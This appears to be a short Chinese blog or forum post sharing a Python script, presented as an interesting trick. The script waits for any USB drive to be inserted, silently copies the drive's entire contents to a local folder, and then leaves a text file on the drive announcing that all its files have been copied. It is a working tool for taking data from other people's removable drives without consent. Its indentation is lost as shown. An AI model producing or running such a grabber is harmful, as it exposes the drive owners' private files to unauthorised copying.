自动复制USB文件脚本【Python】
from time import sleep
from shutil import copytree
from psutil import disk_partitions
while True:
sleep(1)
# 检查所有驱动器
for item in disk_partitions():
# 发现可移动驱动器
if 'removable' in item.opts:
driver,opts = item.device, item.opts
# 输出可移动驱动器符号
print('Found USB disk:', driver)
break
else:
print('没发现可移动硬盘。')
continue
break
# 复制根目录
copytree(driver, r'D:\usbdriver')
print('请注意,你的文件已经全部被我复制!')
if opts == 'rw,removable':
print('USB disk writable...')
# 可写,自动在U盘上创建一个文本文件
with open(driver+'警告.txt', 'w', encoding = 'utf-8') as fp:
fp.write('请注意,你的文件已经全部被我复制!')
这是个有趣的脚本。